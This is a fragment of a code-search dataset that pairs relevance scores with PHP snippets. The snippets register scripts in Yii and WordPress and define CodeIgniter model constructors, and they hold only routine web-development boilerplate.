"text": "protected function registerClientScript()\n {\n $view = $this->getView();\n\n if (!isset($this->options['lang']) || empty($this->options['lang'])) {\n $this->options['lang'] = strtolower(substr(Yii::$app->language, 0, 2));\n }\n\n //temporary disabled dynamic plugin register\n /*// Insert plugins in options\n if (!empty($this->plugins)) {\n $this->options['plugins'] = $this->plugins;\n\n foreach ($this->options['plugins'] as $plugin) {\n $this->registerPlugin($plugin);\n }\n }*/\n //temporary all plugin assets must be loaded in asset file\n //'table' plugin enabled as default\n $this->options['plugins'] = ['table', 'fontcolor'];\n $options = empty($this->options) ? '' : Json::encode($this->options);\n $js = \"jQuery('\" . $this->selector . \"').redactor($options);\";\n $view->registerJs($js);\n }", "title": "" }, { "docid": "e8a0d59af7639d03e40fb98afa9e4187", "score": "0.5950716", "text": "static function add_scripts($hook) {\n global $settingsPageName;\n\n // only load this stuff for this plugin. \n // thanks to https://pippinsplugins.com/loading-scripts-correctly-in-the-wordpress-admin/\n if ($hook != $settingsPageName) {\n return;\n }\n\n // jquery is used for the searchable dropdown list of pages for adding a redirect and other things.\n wp_enqueue_script('jquery');\n\twp_enqueue_script('jquery-ui-autocomplete');\n\twp_enqueue_script('jquery-effects-core');\n\twp_enqueue_script('jquery-effects-highlight');\n \n wp_register_script('redirect_to_ajax', plugin_dir_url(__FILE__) . 'ajax/redirect_to_ajax.js', \n array('jquery', 'jquery-ui-autocomplete'));\n // Localize the script with new data\n $translation_array = array(\n 'type_a_page_name' => __('(Type a page name or an external URL)', '404-solution'),\n 'a_page_has_been_selected' => __('(A page has been selected.)', '404-solution'),\n 'an_external_url_will_be_used' => __('(An external URL will be used.)', '404-solution')\n );\n wp_localize_script('redirect_to_ajax', 'abj404localization', $translation_array ); \n wp_enqueue_script('redirect_to_ajax');\n \n // make sure the \"apply\" button is only enabled if at least one checkbox is selected\n wp_register_script('enable_disable_apply_button_js', ABJ404_URL . 'includes/js/enableDisableApplyButton.js');\n $translation_array = array('{altText}' => __('Choose at least one URL', '404-solution'));\n wp_localize_script('enable_disable_apply_button_js', 'abj404localization', $translation_array);\n wp_enqueue_script('enable_disable_apply_button_js');\n \n wp_enqueue_script('view-updater', plugin_dir_url(__FILE__) . 'ajax/view_updater.js', \n array('jquery', 'jquery-ui-autocomplete'));\n wp_enqueue_script('search_logs_ajax', plugin_dir_url(__FILE__) . 'ajax/search_logs_ajax.js', \n array('jquery', 'jquery-ui-autocomplete'));\n wp_enqueue_script('trash_link_ajax', plugin_dir_url(__FILE__) . 'ajax/trash_link_ajax.js', \n array('jquery'));\n \n wp_enqueue_style('abj404solution-styles', ABJ404_URL . 'includes/html/404solutionStyles.css');\n }", "title": "" }, { "docid": "9c766e28b96350f1036b971f3fda80b8", "score": "0.5949433", "text": "function aec_ajax_helper_enqueue($hook) {\n\n if ( ('post-new.php' || 'post.php' ) != $hook ) {\n return;\n }\n wp_enqueue_script( 'jquery' );\n wp_enqueue_script( 'aec_ajax_helper_script', plugin_dir_url( __FILE__ ) . 'js/ajax.js',array( 'jquery' ) );\n}", "title": "" }, { "docid": "2d107ae15bce2036aa50cc4572874585", "score": "0.59364176", "text": "function ajax_post_script_call(){\n wp_register_script('ajax-posts-script', get_stylesheet_directory_uri(). '/assets/js/ajax-scripts.js', array('jquery') );\n wp_enqueue_script('ajax-posts-script');\n\n wp_localize_script( 'ajax-posts-script', 'ajax_posts_object', array(\n 'ajaxurl' => admin_url( 'admin-ajax.php' )\n ));\n // Enable the user with no privileges to run ajax_login() in AJAX\n}", "title": "" }, { "docid": "066c5d1fd8176bd67810ebcf264b3511", "score": "0.5935317", "text": "function my_ajax_handler()\n\t\t{\n\t\t\t$this->ajax_function2();\n\t\t}", "title": "" }, { "docid": "066141ef91ed471abddaa4ac9f3f0753", "score": "0.59304184", "text": "protected function registerClientScript()\r\n {\r\n $id=$this->id;\r\n $cs=Yii::app()->getClientScript();\r\n $cs->registerCoreScript('jquery');\r\n $cs->registerScriptFile($this->scriptUrl.'/'.$this->scriptFile);\r\n $cs->registerScriptFile($this->settingsUrl.'/'.$this->settings.'/set.js');\r\n\r\n $options=CJavaScript::encode($this->options);\r\n $cs->registerScript(__CLASS__.'#'.$id, \"jQuery('#$id').markItUp(mySettings,$options);\");\r\n\r\n $cs->registerCssFile($this->themeUrl.'/'.$this->theme.'/style.css');\r\n $cs->registerCssFile($this->settingsUrl.'/'.$this->settings.'/style.css');\r\n }", "title": "" }, { "docid": "8e5e29d5f0d662bfbfe4ae3e4e5d8bf7", "score": "0.5930072", "text": "public function add_ajax_hooks() {\n\n // Only incur this overhead if pagination is enabled.\n //\n if ( $this->slplus->SmartOptions->pagination_enabled->is_true ) {\n\t $pagination = SLP_Premier_AJAX_Pagination::get_instance();\n\t add_filter('slp_ajax_response' , array( $pagination , 'modify_ajax_response' ) );\n add_filter('slp_ajaxsql_fullquery' , array( $pagination , 'modify_sql_for_pagination') );\n }\n\n // Territories Enabled\n //\n if ( $this->slplus->SmartOptions->use_territory_bounds->is_true ) {\n\n switch ( $this->slplus->options_nojs['radius_behavior'] ) {\n\n case 'in_radius_and_in_territory':\n add_filter( 'slp_ajaxsql_where' , array( $this , 'where_territory_is_set' ) );\n add_filter( 'slp_ajaxsql_results' , array( $this , 'drop_locations_not_in_radius_and_serving_territory' ) ,10 , 2); // This runs here so we can skip some overhead of 'slp_results_marker_data'\n break;\n\n case 'in_radius_no_terr_set_or_in_territory':\n add_filter( 'slp_ajax_location_queries' , array( $this , 'set_location_search_queries' ) );\n break;\n }\n\n add_filter( 'slp_csv_locationdata_added', array( $this , 'set_territory_bounds_on_import' ) ); // Power addon uses this method.\n }\n\n // URL Control\n if ( $this->addon->has_url_controls() ) require_once( SLPPREMIER_REL_DIR . 'include/module/url/SLP_Premier_URL_Control.php' );\n if ( $this->slplus->SmartOptions->allow_location_in_url->is_true ) $this->slplus->Premier_URL_Control->remove_distance_qualifier();\n if ( $this->slplus->SmartOptions->allow_limit_in_url->is_true ) $this->slplus->Premier_URL_Control->change_result_limit();\n\n // Block IP\n if ( ! empty( $this->slplus->SmartOptions->block_ip_period->value ) ) {\n require_once( SLPPREMIER_REL_DIR . 'include/module/security/SLP_Premier_Block_IP.php' );\n }\n\n add_filter( 'slp_category_name_separator' , array( $this , 'get_category_name_separator' ) );\n\n\t $this->add_global_hooks();\n }", "title": "" }, { "docid": "dbc684145d1ec75efc15284a2ed80cf5", "score": "0.5926652", "text": "function _mod_js() {\n\t\t if (!is_admin()) {\n\t\t\t\twp_deregister_script( 'jquery' );\n\t\t\t\twp_register_script( 'jquery', 'https://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js');\n\t\t\t\twp_enqueue_script( 'jquery' );\n\t\t\t\t\n\t\t\t\twp_deregister_script( 'swfobject' );\n wp_register_script( 'swfobject', 'https://ajax.googleapis.com/ajax/libs/swfobject/2.2/swfobject.js');\n wp_enqueue_script( 'swfobject' );\n\t\t }\n\t}", "title": "" }, { "docid": "ecdfc5e33baa03e636d141ac3bb80503", "score": "0.59237015", "text": "public static function ajax()\n {\n $jquery = self::getInstance();\n $jquery->setEvent(YsJQueryConstant::AJAX_EVENT);\n self::$type = $jquery->getEvent();\n return $jquery;\n }", "title": "" }, { "docid": "bf9e473519fb19ab9f550adff86e2e6a", "score": "0.5921864", "text": "public function registerClientScript()\n\t{\n\t\t$cs=Yii::app()->getClientScript();\n\t\t$cs->registerScriptFile($this->baseUrl.'/AC_OETags.js');\n\n\t\tif($this->enableHistory)\n\t\t{\n\t\t\t$cs->registerCssFile($this->baseUrl.'/history/history.css');\n\t\t\t$cs->registerScriptFile($this->baseUrl.'/history/history.js');\n\t\t}\n\t}", "title": "" }, { "docid": "3fee7fd52d4d1faf5c0865c9b4e347bd", "score": "0.5918948", "text": "function addCommonJs()\r\n\t{\r\n\t\t$this->addJsForGrid();\r\n\t}", "title": "" }, { "docid": "a9216c65b756660de23691c8753368fb", "score": "0.5918331", "text": "public function enqueueScripts()\n {\n wp_deregister_script('jquery');\n wp_deregister_script('wp-embed');\n\n wp_enqueue_script('html5shiv', 'https://cdnjs.cloudflare.com/ajax/libs/html5shiv/3.7.3/html5shiv.min.js');\n wp_script_add_data('html5shiv', 'conditional', 'lt IE 9');\n wp_enqueue_script('respond', 'https://cdnjs.cloudflare.com/ajax/libs/respond.js/1.4.2/respond.min.js');\n wp_script_add_data('respond', 'conditional', 'lt IE 9');\n\n // wp_enqueue_style('fonts', 'https://fonts.googleapis.com/css?family=Open+Sans:300,400,600,700,800');\n wp_enqueue_style('app', $this->mix('styles/app.css'), [], '', 'all');\n\n // wp_enqueue_script('manifest', $this->mix('scripts/manifest.js'), [], '', true);\n // wp_enqueue_script('vendors', $this->mix('scripts/vendors.js'), [], '', true);\n wp_enqueue_script('app', $this->mix('scripts/app.js'), [], '', true);\n\n // Add ajax variables\n // $urls = array(\n // 'ajaxUrl' => admin_url('admin-ajax.php'),\n // 'templateUrl' => get_template_directory_uri(),\n // );\n // wp_localize_script('app', 'urls', $urls);\n }", "title": "" }, { "docid": "5a01bd3da8278c46ac7d41114af56336", "score": "0.5912998", "text": "public function addAdminScripts()\n {\n\n\t wp_enqueue_style('sla-course-admin', SLACOURSE_URL. 'assets/css/admin.css', false, 1.0);\n\n\t\twp_enqueue_script('sla-course-admin', SLACOURSE_URL. 'assets/js/admin.js', array(), 1.0);\n\n\t\t$admin_options = array(\n\t\t\t'ajax_url' => admin_url( 'admin-ajax.php' ),\n\t\t\t'_nonce' => wp_create_nonce( $this->_nonce ),\n\t\t);\n\n\t\twp_localize_script('sla-course-admin', 'sla_course_exchanger', $admin_options);\n\n\t}", "title": "" }, { "docid": "f382d41c911bbebb69e0089159e39002", "score": "0.5907441", "text": "function include_scripts() {\n\t\twp_enqueue_script(\"confirmation\", \"/wp-content/plugins/deregister-plugin/js/confirmation.js\", array(\"jquery\"));\n\t\twp_localize_script('confirmation', 'ajax_vars', array('ajax_url'=>admin_url('admin-ajax.php')));\n\t}", "title": "" }, { "docid": "26a3a914bc0a6b55a8ddac480425edde", "score": "0.5907324", "text": "public static function register_assets() {\n // reuseable bits\n $url = QSOT::plugin_url();\n $version = QSOT::version();\n\n // register the js\n wp_register_script( 'qsot-report-ajax', $url . 'assets/js/admin/report/ajax.js', array( 'qsot-tools', 'jquery-ui-datepicker', 'tablesorter' ), $version );\n }", "title": "" } ]
f06bbb673233bc5be760d717fbe30a53
Call the CI_Model constructor
[ { "docid": "a70fb8aff17cfde75807b726bb23ebc6", "score": "0.0", "text": "public function __construct(){\n parent::__construct();\n $this->load->model('Date_model');\n }", "title": "" } ]
[ { "docid": "b5ca7b4bad1bf91054938d89d398c2cc", "score": "0.8478336", "text": "public function __construct()\n {\n // Call the CI_Model constructor\n parent::__construct();\n }", "title": "" }, { "docid": "b5ca7b4bad1bf91054938d89d398c2cc", "score": "0.8478336", "text": "public function __construct()\n {\n // Call the CI_Model constructor\n parent::__construct();\n }", "title": "" }, { "docid": "b5ca7b4bad1bf91054938d89d398c2cc", "score": "0.8478336", "text": "public function __construct()\n {\n // Call the CI_Model constructor\n parent::__construct();\n }", "title": "" }, { "docid": "b5ca7b4bad1bf91054938d89d398c2cc", "score": "0.8478336", "text": "public function __construct()\n {\n // Call the CI_Model constructor\n parent::__construct();\n }", "title": "" }, { "docid": "b5ca7b4bad1bf91054938d89d398c2cc", "score": "0.8478336", "text": "public function __construct()\n {\n // Call the CI_Model constructor\n parent::__construct();\n }", "title": "" }, { "docid": "258ca956de46b6cf23ec29aa2b54767a", "score": "0.83640975", "text": "public function __construct()\n {\n // Call the CI_Model constructor\n parent::__construct();\n }", "title": "" }, { "docid": "2b2780f4c77a259d520194ad18b14e9f", "score": "0.8264544", "text": "public function __construct(){\n\t\t// Call the Model constructor\n\t\tparent::__construct();\n\t}", "title": "" }, { "docid": "245984d906dfee6416d8fa7c99357b97", "score": "0.81854063", "text": "public function __construct() {\n\t\t// Call the Model constructor\n\t\tparent::__construct ();\n\t}", "title": "" }, { "docid": "6fae907daeabe1b149c5cec6f3eec975", "score": "0.81620926", "text": "function __construct() \n\t{\n // Call the Model constructor\n parent::__construct();\n }", "title": "" }, { "docid": "385e763cc8b867af2a93f94b0ad4853a", "score": "0.8097645", "text": "public function __construct()\n\t{\n\t\tparent::__construct();\n\t\t$this->load->Model('Model');\n\n\t}", "title": "" }, { "docid": "c66d170956dcdad78cc6e4e500343c81", "score": "0.8079379", "text": "public function __construct()\n\t{\n\t\tparent::__construct();\n\t\t$this->load->Model('Model');\n\t}", "title": "" }, { "docid": "4b4a395b9a35f9d0fdf6e250a60c98d8", "score": "0.806575", "text": "function __construct()\n {\n // Call the Model constructor\n parent::__construct();\n }", "title": "" }, { "docid": "49bbab5d9faf3053d83501a36c1d7138", "score": "0.8022742", "text": "function __construct() {\n // Call the Model constructor\n parent::__construct();\n }", "title": "" }, { "docid": "1e172b2ecb4f3b97eccc0afdd7381e58", "score": "0.7944228", "text": "function __construct()\n {\n // Call the Model constructor\n parent::__construct();\n }", "title": "" }, { "docid": "067f77427eb3e0c473248718983db839", "score": "0.79092884", "text": "public function __construct(){\n parent::__construct();\n $this->load->model('Model');\n }", "title": "" }, { "docid": "3a6829f98b07cfce6ac9bb313be12ad6", "score": "0.78955626", "text": "public function __construct(){\n\t\tparent:: __construct();\n\n\t\t$this->load->model('mymodel');\n\t}", "title": "" }, { "docid": "6c6d11eb71b21a254f43e0f9702b5bca", "score": "0.7894823", "text": "public function __construct()\n {\n $this->makeModel();\n }", "title": "" }, { "docid": "2ace668d2851255ff4522333dfe90649", "score": "0.7859469", "text": "public function __construct() \n {\n // Instantiates BaseModel\n parent::__construct();\n }", "title": "" }, { "docid": "f3c6a66c86122a2425a1e1faadd740b7", "score": "0.7851003", "text": "function __construct()\n {\n // Call the Model constructor\n parent::__construct();\n }", "title": "" }, { "docid": "bece86e61107b86f63a1f90571a20928", "score": "0.7805325", "text": "public function __construct()\n\t{\n\t\t$this->model = new Model();\n\t}", "title": "" }, { "docid": "7d926ba2610bb03a448e9c2c1415d956", "score": "0.7800532", "text": "function __construct()\n {\n // Call the Model constructor\n parent::__construct();\n $this->load->model('Case_model');\n }", "title": "" }, { "docid": "c3dadedb8f09c070ba52fa6b5a9ce819", "score": "0.7799359", "text": "public function __construct()\n\t\t{\n\t\t\tparent::__construct();\n\t\t\t//$this->load->model('modelbase');\n\t\t}", "title": "" }, { "docid": "8dc15f448f30f66f8ec05f45b8cc03c2", "score": "0.7793594", "text": "public function __construct()\n {\n parent::Model();\n\n }", "title": "" }, { "docid": "974746fa54dad64daab7e240de838c82", "score": "0.7788392", "text": "function Campaign_Model()\n\t{\n\t\tparent::__construct();\n\t}", "title": "" }, { "docid": "c3011d59baeea3938fd43b4165846671", "score": "0.77661407", "text": "function __construct() {\n parent::__construct();\n // $this->load->model('');\n }", "title": "" }, { "docid": "82db62fe5599a3e1b7c39976bf0ff414", "score": "0.77470785", "text": "public function __construct()\n {\n $class = $this->model();\n $this->model = new $class;\n }", "title": "" }, { "docid": "c97440f2889619faf9c895364c92ea25", "score": "0.7742404", "text": "function __construct()\n {\n parent::__construct(\n $subject = $this->_subject,\n $model = $this->_model \n );\n \n $this->load->model($this->_model, 'model'); \n\n }", "title": "" }, { "docid": "969a6fdfcc73ecae879a6760f92dea8d", "score": "0.7740482", "text": "public function __construct()\n\t{\n\t\tparent::__construct();\n\t\t$this->load->model('newmodel');\n\t}", "title": "" }, { "docid": "547ec09df049f6e234abee5d4cf5a13b", "score": "0.77394086", "text": "function __construct()\n\t{\n\t\tparent::__construct();\n\t\t$this->load->model(array('Samity','Saving_product','Process_month_end','Member')); \n\t}", "title": "" }, { "docid": "f0024262ccc7d8b54c61f1e780a541bf", "score": "0.7702841", "text": "function __construct(){\n\t\tparent::__construct();\n\t\t$this->load->model('TokoModel');\n\t\t}", "title": "" }, { "docid": "270b1f3dcf8591711631d44270fc9ff4", "score": "0.769467", "text": "function __construct() {\n\t\tparent::__construct();\n\t\t$this->load->model('m_data');\n\t}", "title": "" }, { "docid": "5dbfc9b643f8d8ca82dcf2cad2fa5838", "score": "0.76800066", "text": "function __construct()\n\t{\t\t\n\t\t// Call the Model constructor\t\t\n\t\tparent::__construct();\n\t\t$this->load->helper('json');\n\t\t$this->load->library('session');\n\t\t$this->load->database();\n\t\t$this->load->helper('file');\n\t\t$this->load->library('ci_smarty');\n\t\t$this->load->model('amaModel');\n\t\t$this->load->helper(array('form', 'url'));\n\t\t$this->load->library('wx_crypt');\n\t\t$this->load->library('someclass');\n\t\t$this->load->library('markdown');\n\t\t\n\t}", "title": "" }, { "docid": "17f87606a28f69d8527a31fa2de02524", "score": "0.7677973", "text": "function __construct()\n {\n parent::__construct();\n\n $this->load->model('Base_model');\n }", "title": "" }, { "docid": "b0ab5544326de733de362eb4d4b5e65b", "score": "0.76672405", "text": "function __construct()\n {\n parent::__construct();\n\n if (!isset($this->receipts_model))\n $this->load->model('receipts_model');\n if (!isset($this->categories_model))\n $this->load->model('categories_model');\n if (!isset($this->vendors_model))\n $this->load->model('vendors_model');\n\n\n }", "title": "" }, { "docid": "7fc2c0fe9bfa58e4f37aba785952a744", "score": "0.7651345", "text": "public function __construct() {\n\t\t$this->_model = get_called_class();\n\t}", "title": "" }, { "docid": "476f7884addf50d4fa8dad8a2cf4170c", "score": "0.7646735", "text": "function __construct() {\n\t\t// Load model\n\t\t$this->load_model('hello_model');\n\n\t\t// Call base constructor\n\t\tparent::__construct();\n\n\t}", "title": "" }, { "docid": "200bf59f5581a159c62a0f9bb9520b9d", "score": "0.7630718", "text": "public function __construct()\n\t{\n\t\tif ( ! $this->__model)\n\t\t{\n\t\t\t// Set the name of this model, removing the \"Model_\" prefix\n\t\t\t$this->__model = substr(get_class($this), 6);\n\t\t}\n\n\t\tif ($this->loading())\n\t\t{\n\t\t\t// PHP *_fetch_object functions call __set before __construct.\n\t\t\t// To work around the problem, __construct is called twice.\n\t\t\t// The second time it is called, all \"changed\" data is loaded.\n\t\t\t$this->loaded(TRUE);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t// Reset the object\n\t\t\t$this->reset();\n\t\t}\n\n\t\t// Model is now initialized\n\t\t$this->__state['init'] = TRUE;\n\t}", "title": "" }, { "docid": "f9280fb8ab46d4958df65a5491bb9dc0", "score": "0.76265717", "text": "public function __construct()\n\t{\n\t/*call CodeIgniter's default Constructor*/\n\t\tparent::__construct();\n\t}", "title": "" }, { "docid": "96381f187ff686a622d0b1c30fd6e689", "score": "0.760543", "text": "public function __construct() {\n\t\tparent::__construct();\n\t\t$this->load->model('testmodel');\n\t}", "title": "" }, { "docid": "0bb9cedd793301514cf1aa84e0d21fe4", "score": "0.75909215", "text": "public function __construct()\n {\n $this->model = new Model();\n }", "title": "" }, { "docid": "5bd52fe6318dfb70ab6bd425da1f7b60", "score": "0.7584534", "text": "function __construct()\n {\n parent::__construct();\n $this->load->database();\n\t\t$this->load->model('model_default');\n\t\t\n }", "title": "" }, { "docid": "ba5a480d690019e8aff3c62a0ea6feed", "score": "0.7580903", "text": "function __construct()\n {\n parent::__construct();\n $this->load->model('tbl_m');\n }", "title": "" }, { "docid": "ab31d9eae2dc1c321c3581d76aae18d1", "score": "0.7573917", "text": "public function __construct()\r\n {\r\n $this->model = new $this->modelName();\r\n }", "title": "" }, { "docid": "0b90d9ba9d86cabb881b1c5add00204d", "score": "0.7566469", "text": "public function __construct()\n {\n // Call the Model constructor\n parent::__construct();\n\t\t$this->is_loggedIn();\n\t\t$this->load->model('building_model');\n\t\t$this->load->model('location_model');\n\t\t$this->load->model('dashboard_model');\n\t\t$this->load->helper(array('form', 'url'));\n }", "title": "" }, { "docid": "80608543c2f5f8fd6ef0859ceb041407", "score": "0.75614136", "text": "public function __construct() {\n parent::__construct();\n $this->load->model('cc_model');\n }", "title": "" }, { "docid": "441571213ff8277885a826856f50d4aa", "score": "0.75544727", "text": "function __construct()\n\t{\n\t\t// Llamando al contructor del Modelo\n\t\tparent::__construct();\n\t}", "title": "" }, { "docid": "441571213ff8277885a826856f50d4aa", "score": "0.75544727", "text": "function __construct()\n\t{\n\t\t// Llamando al contructor del Modelo\n\t\tparent::__construct();\n\t}", "title": "" }, { "docid": "f84850e0868bcfddc2fa4574dcd935fd", "score": "0.75349075", "text": "function __construct(){\n\t\t\t$this->model = new model(); //variabel model merupakan objek baru yang dibuat dari class model\n\t\t}", "title": "" }, { "docid": "ec35509f2decc263f95e7238aaff3a0a", "score": "0.75134814", "text": "function __construct() {\n\t\tparent::__construct();\n\t\t$this->load->model('insert_model');\n\t}", "title": "" }, { "docid": "5a750667b04c5ac6828216e67ecfe1a0", "score": "0.7512192", "text": "public function __construct() {\r\n\r\n parent::__construct();\r\n\r\n $this->load->model('App_model');\r\n }", "title": "" }, { "docid": "e9a531dd0d22a954ea1705952e61d25c", "score": "0.75051224", "text": "public function __construct()\n {\n parent::__construct();\n $this->load->model('acciones/registro/ModelRegistro'); # Llamado a el modelo de Registro de Acciones\n $this->load->model('entes/ModelEntes'); # Llamado a el modelo de Entes\n $this->load->model('gestion/GestionModel','gestion'); # Llamado a el modelo GestionModel\n $this->load->model('model_standard/ModelStandard');\n }", "title": "" }, { "docid": "a8ba5b45fbe2645240dd321b68429efc", "score": "0.7500396", "text": "function __construct()\n {\n // Construct the parent class\n parent::__construct();\n $this->load->model('Logincms_model');\n }", "title": "" }, { "docid": "8c136d931e6d0562caa3668cfacf660b", "score": "0.7490805", "text": "public function __construct(){\n\t\tparent::__construct();\n\t\t$this->load->model(\"Cita_model\");#llamamos le modelo por el nombre de la clase\n\t}", "title": "" }, { "docid": "896bb785bd0c182a7e6371b5da0bdded", "score": "0.7464948", "text": "public function __construct()\n {\n parent::__construct();\n $this->load->model('Custom_model/Pelanggan_model', 'pelanggan');\n $this->load->model('Custom_model/Payment_model', 'payment');\n $this->load->model('Custom_model/Profiling_model', 'profiling');\n // $this->load->database();\n }", "title": "" }, { "docid": "c1eb696fb7c269c7392e40de5e34b98e", "score": "0.7464571", "text": "function __construct()\n {\n // Call the Model constructor\n parent::Model();\n $this->load->database('default'); \n }", "title": "" }, { "docid": "b251e6f6496350c1301e54f015d83dc2", "score": "0.74613386", "text": "function __construct()\n {\n parent::__construct();\n $this->load->database();\n $this->load->model('category');\n $this->load->model('log');\n // $this->load->model('report');\n $this->load->model('test');\n }", "title": "" }, { "docid": "8056ca9b9cf0e1f24421d922b54ed928", "score": "0.7453854", "text": "function __construct()\n {\n parent::__construct();\n\t\t$this->load->model('bill_model');\n\t\t$this->load->model('payment_model');\n\t\t$this->load->model('client_model');\n \n \n }", "title": "" }, { "docid": "2f6dc6632ff61e0ab13fc9d7c8b7390f", "score": "0.74469125", "text": "public function __construct() {\n parent::__construct();\n\t\t$this->load->model('Main_model');\n }", "title": "" }, { "docid": "d9937dcc62b1c99da5cd5c7145d58402", "score": "0.7445312", "text": "public function __construct(){\n $this->sliderModel = $this->model('Slider');\n $this->siteInfoModel = $this->model('SiteInfo');\n $this->officeModel = $this->model('Office');\n $this->categoryModel = $this->model('Category');\n $this->brandModel = $this->model('Brands');\n $this->productModel = $this->model('Products');\n $this->imgModel = $this->model('Image');\n $this->userModel = $this->model('User');\n $this->paymentModel = $this->model('Payment');\n }", "title": "" }, { "docid": "ec6b18b4467fcae0c438a194edb31188", "score": "0.74441624", "text": "public function __construct() {\r\n parent::__construct();\r\n $this->load->model('Testimonial_model');\r\n $this->load->model('Employee_model');\r\n $this->load->model('Property_type_model');\r\n }", "title": "" }, { "docid": "934463f7d588f7c63e022413b684e59f", "score": "0.74384046", "text": "public function __construct()\n\t{\n parent::__construct();\n $this->load->model('User_Model');\n }", "title": "" }, { "docid": "f5faa41d2db302937f9b0a4ddd96d3bf", "score": "0.7437566", "text": "public function __construct(){\n\t\tparent::__construct();\n\t\t$this->load->model('its_m');\n\t}", "title": "" }, { "docid": "2735660604a6513eab025f31d3ecabee", "score": "0.7433416", "text": "function __construct(){\n\t\tparent::__construct();\n\t\t$this->load->model('User_model');\n\t}", "title": "" }, { "docid": "4fea3041a0e6558d6c285d0374b09d42", "score": "0.74310344", "text": "public function __construct()\r\n\t{\r\n\tparent::__construct();\r\n\t\r\n\t//load database libray manually\r\n\t$this->load->database();\r\n\t\r\n\t//load Model\r\n\t$this->load->model('Hello_Model');\r\n\t}", "title": "" }, { "docid": "462955ed896765ffa7dc83c715e9473a", "score": "0.7426925", "text": "public function __construct() \n {\n parent::__construct();\n // Load contact model\n $this->load->model('contact_model');\n }", "title": "" }, { "docid": "5f0553bb6aa95dc897b60cf342ea0153", "score": "0.74229956", "text": "function __construct()\r\n {\r\n $this->modelorgano = new NomorganoModel();\r\n $this->modelsubcate = new NomsubcategoriaModel();\r\n $this->modelnivelestr = new NomnivelestrModel();\r\n $this->modeltpcifras = new NomtipocifraModel();\r\n $this->modelcargocvil = new NomcargocivilModel();\r\n $this->modelcargomitar = new NomcargomilitarModel();\r\n $this->modelcatcvil = new NomcategcivilModel();\r\n $this->modelcatocup = new NomcategoriaocupacionalModel();\r\n $this->modelpref = new NomprefijoModel();\r\n $this->modelespcia = new NomespecialidadModel();\r\n $this->modeltecnica = new NomtecnicaModel();\r\n $this->modelmodulos = new NommoduloModel();\r\n $this->modelpremltar = new NomprepmilitarModel();\r\n $this->modelagrup = new NomagrupacionesModel();\r\n $this->modelgrado = new NomgradomilitarModel();\r\n\r\n }", "title": "" }, { "docid": "8180248bfcde7bf348ba05c3d868aaed", "score": "0.7422927", "text": "public function __construct(){\n\t\tparent::__construct();\n\t\t$this->load->model('Infomodel');\n\t\t$this->load->model('pendaftaran_model');\n\t\t$this->load->model('Contact_model');\n\t}", "title": "" }, { "docid": "b53cc25b5baaae729f087e1439f0ac04", "score": "0.74209565", "text": "public function __construct()\n {\n parent::__construct();\n //METODO CARGADO EN EL MODELO\n $this->load->model('libroModel');\n\n \n }", "title": "" }, { "docid": "d18c4af093c8a06a62eb04a52ed56f46", "score": "0.7420773", "text": "function __construct()\r\n\t{\r\n\t\tparent::__construct();\r\n\t\t$this->load->model('model_common', 'm_common');\r\n\t}", "title": "" }, { "docid": "0c2bf8217a3d464034c5b0e36776f8c7", "score": "0.74197114", "text": "public function __construct()\n\t{\n\t\tparent::__construct();\n\n\t\t$this->load->model(array(\n\t\t\t'sale',\n\t\t\t'employee',\n\t\t\t'position',\n\t\t\t'item'\n\t\t));\n\t}", "title": "" }, { "docid": "21c64ad32c53eaf013ad0383699f166f", "score": "0.7419445", "text": "function __construct(){\n\t\tparent::__construct();\n\t\t$this->load->model('Usermodel');\n\t}", "title": "" }, { "docid": "140675029b3441683ce23b6e48c9294f", "score": "0.7413016", "text": "public function __construct()\n\t{\n parent::__construct();\n $this->load->model(array('user_model'));\n\t}", "title": "" }, { "docid": "baf96f186301de16539b0a35df9320e0", "score": "0.7408681", "text": "function __construct()\n {\n parent::__construct();\n\t\t$this->load->model('_cron');\n\t\t$this->load->model('_importer');\n\t}", "title": "" }, { "docid": "dc87790c688d3aa94e07e791814cc64c", "score": "0.74070513", "text": "public function __construct()\n\t{\n\t\tparent::__construct();\n\t\t$this->load->model(\"word_model\");\n\t\t$this->load->model(\"message_model\");\n\t\t$this->load->model(\"visit_model\");\n\t}", "title": "" }, { "docid": "ba40b686ff37e5b251c7ab277dc0c891", "score": "0.7405909", "text": "public function __construct()\n {\n parent::__construct();\n $this->load->model('Crud_model');\n }", "title": "" }, { "docid": "8ee45ac12e85ba7b17c00c5f6ffbda1e", "score": "0.7399813", "text": "public function __construct() {\n parent::__construct();\n $this->load->model('m_test1');\n\n\n }", "title": "" }, { "docid": "1f4550847dc2b659c0a3d5645be1ec96", "score": "0.7397589", "text": "public function __construct() {\n parent::__construct();\n\n $this->load->library('image_lib');\n $this->load->model('Property_type_model');\n $this->load->model('Property_model');\n $this->load->model('Employee_model');\n $this->load->model('Community_model');\n }", "title": "" }, { "docid": "1f4550847dc2b659c0a3d5645be1ec96", "score": "0.7397589", "text": "public function __construct() {\n parent::__construct();\n\n $this->load->library('image_lib');\n $this->load->model('Property_type_model');\n $this->load->model('Property_model');\n $this->load->model('Employee_model');\n $this->load->model('Community_model');\n }", "title": "" }, { "docid": "5fc51655f06fbf3f892240209ef89734", "score": "0.7396103", "text": "public function __construct() {\n parent::__construct();\n $this->load->model('UserModel');\n $this->load->model('CryptocurrModel');\n $this->load->model('PriceModel');\n }", "title": "" }, { "docid": "5fc51655f06fbf3f892240209ef89734", "score": "0.7396103", "text": "public function __construct() {\n parent::__construct();\n $this->load->model('UserModel');\n $this->load->model('CryptocurrModel');\n $this->load->model('PriceModel');\n }", "title": "" }, { "docid": "f46c48118aebf90c5f1609c059bd5deb", "score": "0.7393197", "text": "public function __construct()\n {\n parent::__construct();\n $this->loadModel('user');\n $this->loadModel('tutor');\n $this->loadModel('personalinfo');\n $this->loadModel('task');\n $this->loadModel('student');\n $this->loadModel('achievement');\n $this->loadModel('project');\n $this->loadModel('problem');\n }", "title": "" }, { "docid": "b3f5bb1f43b3cf7028b0c39bc88b2589", "score": "0.7386276", "text": "function __construct()\n {\n parent::__construct();\n\n $this->load->model('User_model');\n }", "title": "" }, { "docid": "7ff1e3d3689045cc274e1745e55b644c", "score": "0.73856777", "text": "function __construct() {\n parent::__construct();\n // load model\n $this->load->model(array('Mmember','Mapplication'));\n }", "title": "" }, { "docid": "3c9c86999b8ff5da54621b5733cc9697", "score": "0.73856485", "text": "function __construct()\r\n {\r\n parent::__construct();\r\n $this->load->model('Common_model');\r\n }", "title": "" }, { "docid": "3c9c86999b8ff5da54621b5733cc9697", "score": "0.73856485", "text": "function __construct()\r\n {\r\n parent::__construct();\r\n $this->load->model('Common_model');\r\n }", "title": "" 